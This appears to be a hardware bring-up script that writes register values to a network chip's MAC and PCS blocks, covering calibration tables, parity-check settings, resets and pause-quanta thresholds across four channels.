bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 888 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 889 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 890 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 891 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 892 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 893 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 894 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 895 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 896 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 897 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 898 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 899 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 900 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 901 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 902 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 903 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 904 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 905 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 906 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 907 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 908 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 909 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 910 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 911 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 912 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 913 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 914 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 915 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 916 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 917 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 918 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 919 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 920 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 921 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 922 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 923 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 924 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 925 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 926 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 927 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 928 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 929 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 930 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 931 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 932 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 933 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 934 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 935 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 936 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 937 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 938 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 939 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 940 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 941 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 942 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 943 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 944 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 945 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 946 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 947 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 948 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 949 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 950 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 951 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 952 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 953 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 954 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 955 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 956 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 957 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 958 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 959 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 960 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 961 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 962 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 963 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 964 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 965 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 966 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 967 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 968 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 969 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 970 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 971 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 972 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 973 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 974 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 975 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 976 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 977 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 978 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 979 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 980 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 981 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 982 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 983 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 984 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 985 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 986 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 987 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 988 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 989 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 990 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 991 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 992 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 993 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 994 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 995 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 996 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 997 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 998 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 999 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1000 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1001 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1002 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1003 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1004 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1005 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1006 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1007 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1008 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1009 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1010 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1011 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1012 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1013 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1014 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1015 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1016 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1017 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1018 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1019 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1020 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1021 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1022 0x00000000
bringup jspec write pechip[0] register pg_core fctl tx_cal2cpn 1023 0x00000000
bringup jspec write pechip[0] register pg_chpcs 0 pcs_par_protect rx_sram_par_protect disable_check 0x00ffffff
bringup jspec write pechip[0] register pg_chpcs 1 pcs_par_protect rx_sram_par_protect disable_check 0x00ffffff
bringup jspec write pechip[0] register pg_chpcs 2 pcs_par_protect rx_sram_par_protect disable_check 0x00ffffff
bringup jspec write pechip[0] register pg_chpcs 3 pcs_par_protect rx_sram_par_protect disable_check 0x00ffffff
bringup jspec write pechip[0] register pg_chpcs 0 pcs_par_protect fec_rx_sram_par_protect disable_check 0x0000003f
bringup jspec write pechip[0] register pg_chpcs 1 pcs_par_protect fec_rx_sram_par_protect disable_check 0x0000003f
bringup jspec write pechip[0] register pg_chpcs 2 pcs_par_protect fec_rx_sram_par_protect disable_check 0x0000003f
bringup jspec write pechip[0] register pg_chpcs 3 pcs_par_protect fec_rx_sram_par_protect disable_check 0x0000003f
bringup jspec write pechip[0] register pg_core cfgs min_pkt_size 0x00000021
bringup jspec write pechip[0] register pg_core cfgs tx_credit 48 0x00000010
bringup jspec write pechip[0] register pg_core cfgs tx_credit 49 0x00000010
bringup jspec write pechip[0] register pg_core cfgs tx_credit 50 0x00000010
bringup jspec write pechip[0] register xgeio fifo_ctrl 0x0000000000003502
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc misc_reset 0x0000000f
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc misc_reset 0x0000000f
bringup jspec write pechip[0] register pg_chpcs 0 pcs_par_protect tx_sram_par_protect interrupts enable 0x00000000
bringup jspec write pechip[0] register pg_chpcs 1 pcs_par_protect tx_sram_par_protect interrupts enable 0x00000000
bringup jspec write pechip[0] register pg_chpcs 2 pcs_par_protect tx_sram_par_protect interrupts enable 0x00000000
bringup jspec write pechip[0] register pg_chpcs 3 pcs_par_protect tx_sram_par_protect interrupts enable 0x00000000
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc mac_par_protect rx_fifo1_par_protect interrupts enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_misc mac_par_protect rx_fifo1_par_protect interrupts enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_misc mac_par_protect rx_fifo1_par_protect interrupts enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_misc mac_par_protect rx_fifo1_par_protect interrupts enable 0x00000000
bringup jspec write pechip[0] register pg_cxlmacpcs intr enable 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc misc_reset 0x0007ffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc misc_reset 0x0007ffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc misc_reset 0x0007ffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc misc_reset 0x0007ffff
bringup jspec write pechip[0] register pg_chmac 0 chan_misc misc_reset 0x0007ffff
bringup jspec write pechip[0] register pg_chmac 1 chan_misc misc_reset 0x0007ffff
bringup jspec write pechip[0] register pg_chmac 2 chan_misc misc_reset 0x0007ffff
bringup jspec write pechip[0] register pg_chmac 3 chan_misc misc_reset 0x0007ffff
bringup jspec write pechip[0] register pg_chmac 0 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_xgmacpcs xgpcs xgpcs_v2_pcs control1 0x00008000
bringup jspec write pechip[0] register pg_chpcs 0 pcs_par_protect tx_sram_par_protect disable_check 0x000aaaaa
bringup jspec write pechip[0] register pg_chpcs 1 pcs_par_protect tx_sram_par_protect disable_check 0x000aaaaa
bringup jspec write pechip[0] register pg_chpcs 2 pcs_par_protect tx_sram_par_protect disable_check 0x000aaaaa
bringup jspec write pechip[0] register pg_chpcs 3 pcs_par_protect tx_sram_par_protect disable_check 0x000aaaaa
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc rx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc mac_par_protect rx_fifo1_par_protect disable_check 0x00003eee
bringup jspec write pechip[0] register pg_chmac 1 chan_misc mac_par_protect rx_fifo1_par_protect disable_check 0x00003eee
bringup jspec write pechip[0] register pg_chmac 2 chan_misc mac_par_protect rx_fifo1_par_protect disable_check 0x00003eee
bringup jspec write pechip[0] register pg_chmac 3 chan_misc mac_par_protect rx_fifo1_par_protect disable_check 0x00003eee
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc tx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc mac_par_protect tx_fifo_par_protect disable_check 0x00003eee
bringup jspec write pechip[0] register pg_chmac 1 chan_misc mac_par_protect tx_fifo_par_protect disable_check 0x00003eee
bringup jspec write pechip[0] register pg_chmac 2 chan_misc mac_par_protect tx_fifo_par_protect disable_check 0x00003eee
bringup jspec write pechip[0] register pg_chmac 3 chan_misc mac_par_protect tx_fifo_par_protect disable_check 0x00003eee
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_global_set act_ctl_seg 0x00000111
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_global_set act_ctl_seg 0x00000111
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_global_set act_ctl_seg 0x00000111
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_global_set act_ctl_seg 0x00000111
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_global_set mode_ctl_seg 0x00010101
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_global_set mode_ctl_seg 0x00010101
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_global_set mode_ctl_seg 0x00010101
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_global_set mode_ctl_seg 0x00010101
bringup jspec write pechip[0] register pg_xgmacpcs xgmac cl01_pause_quanta 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_global_set vl_intvl 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_global_set vl_intvl 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_global_set vl_intvl 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_global_set vl_intvl 0x00000000
bringup jspec write pechip[0] register pg_xgmacpcs xgmac cl01_quanta_thresh 0x33333333
bringup jspec write pechip[0] register pg_xgmacpcs xgmac cl23_pause_quanta 0xffffffff
bringup jspec write pechip[0] register pg_xgmacpcs xgmac cl23_quanta_thresh 0x33333333
bringup jspec write pechip[0] register pg_xgmacpcs xgmac cl45_pause_quanta 0xffffffff
bringup jspec write pechip[0] register pg_xgmacpcs xgmac cl45_quanta_thresh 0x33333333
bringup jspec write pechip[0] register pg_xgmacpcs xgmac cl67_pause_quanta 0xffffffff
bringup jspec write pechip[0] register pg_xgmacpcs xgmac cl67_quanta_thresh 0x33333333
bringup jspec write pechip[0] register pg_xgmacpcs xgmac init_credit 0x000000ff
bringup jspec write pechip[0] register pg_xgmacpcs xgmac credit_trigger 0x00000001
bringup jspec write pechip[0] register pg_xgmacpcs xgmac command_config 0x00000853
bringup jspec write pechip[0] register pg_chmac 0 chan_misc rx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_misc rx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_misc rx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_misc rx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc tx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_misc tx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_misc tx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_misc tx_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 0 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 4 quanta_thresh 3 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 pause_quanta 0 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 0 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 pause_quanta 1 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 1 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 pause_quanta 2 0xffffffff
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 2 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 3 chan_macpcs mtip_chan_mac_set 8 quanta_thresh 2 0x33333333
bringup jspec write pechip[0] register pg_chmac 0 chan_macpcs mtip_chan_mac_set 8 pause_quanta 3 0xffffffff
bringup jspec write pechip[0] register pg_chmac 1 chan_macpcs mtip_chan_mac_set 8 pause_quanta 3 0xffffffff
